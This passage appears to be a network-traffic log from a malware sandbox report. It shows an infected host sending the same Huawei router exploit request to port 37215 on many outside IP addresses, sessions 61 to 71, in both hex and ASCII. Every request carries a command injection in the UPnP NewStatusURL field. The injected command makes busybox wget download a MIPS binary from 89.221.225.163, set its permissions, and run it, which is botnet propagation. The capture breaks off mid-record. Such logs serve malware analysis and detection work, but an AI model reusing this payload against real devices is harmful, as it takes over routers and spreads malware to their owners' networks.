72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	54704	41.126.121.77	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.982490063 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	57810	156.205.173.203	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.984016895 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	55844	156.82.22.251	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.985454082 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	49128	197.187.150.219	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.987452984 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	52648	156.82.102.137	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.989079952 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	53424	41.177.199.135	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.990688086 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	54888	41.139.101.133	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.993364096 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	53366	41.213.184.0	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.995985985 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	39734	41.192.9.132	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.999154091 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	43816	156.60.200.195	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:10.001437902 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	52282	156.159.53.215	37215

Timestamp	Bytes transferred	Direction	Data
